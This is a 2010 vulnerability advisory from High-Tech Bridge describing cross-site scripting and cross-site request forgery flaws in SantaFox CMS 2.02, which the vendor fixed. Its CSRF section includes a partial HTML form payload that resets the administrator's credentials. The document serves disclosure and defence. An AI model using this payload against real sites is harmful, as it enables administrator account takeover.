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Multiple Vulnerabilities in SantaFox

Advisory ID:HTB22593
Vulnerable Versions:2.02 and probably prior
Tested Version:2.02
Advisory Publication:August 23, 2010 [without technical details]
Vendor Notification:August 23, 2010
Public Disclosure:September 6, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2010-3463
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SantaFox which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in SantaFox: CVE-2010-3463

The vulnerability exists due to input sanitation error in the "search" parameter in modules/search/search.class.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:

2) Cross-site request forgery (CSRF) in SantaFox: CVE-2010-3464

The vulnerability exists due to insufficient validation of the request origin in admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.

Exploitation example:
<form action="http://host/admin/index.php?action=set_left_menu&leftmenu=save_admin&id=-1" method="post" name="main" >
<input type="hidden" name="login" value="Admin" />
<input type="hidden" name="full_name" value="Admin" />
<input type="hidden" name="pass" value="Admin" />
<input type="hidden" name="lang" value="en" />
<input type="hidden" name="codepage" value="" />
<input type="hidden" name="enabled" value="on" />
<input type="hidden" name="select_group[1]" value="on" />
<input type="hidden" name="select_group[2]" value="on" />

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[1] High-Tech Bridge Advisory HTB22593 - https://www.htbridge.com/advisory/HTB22593 - Multiple Vulnerabilities in SantaFox
[2] SantaFox - santafox.ru – SantaFox is a flexible content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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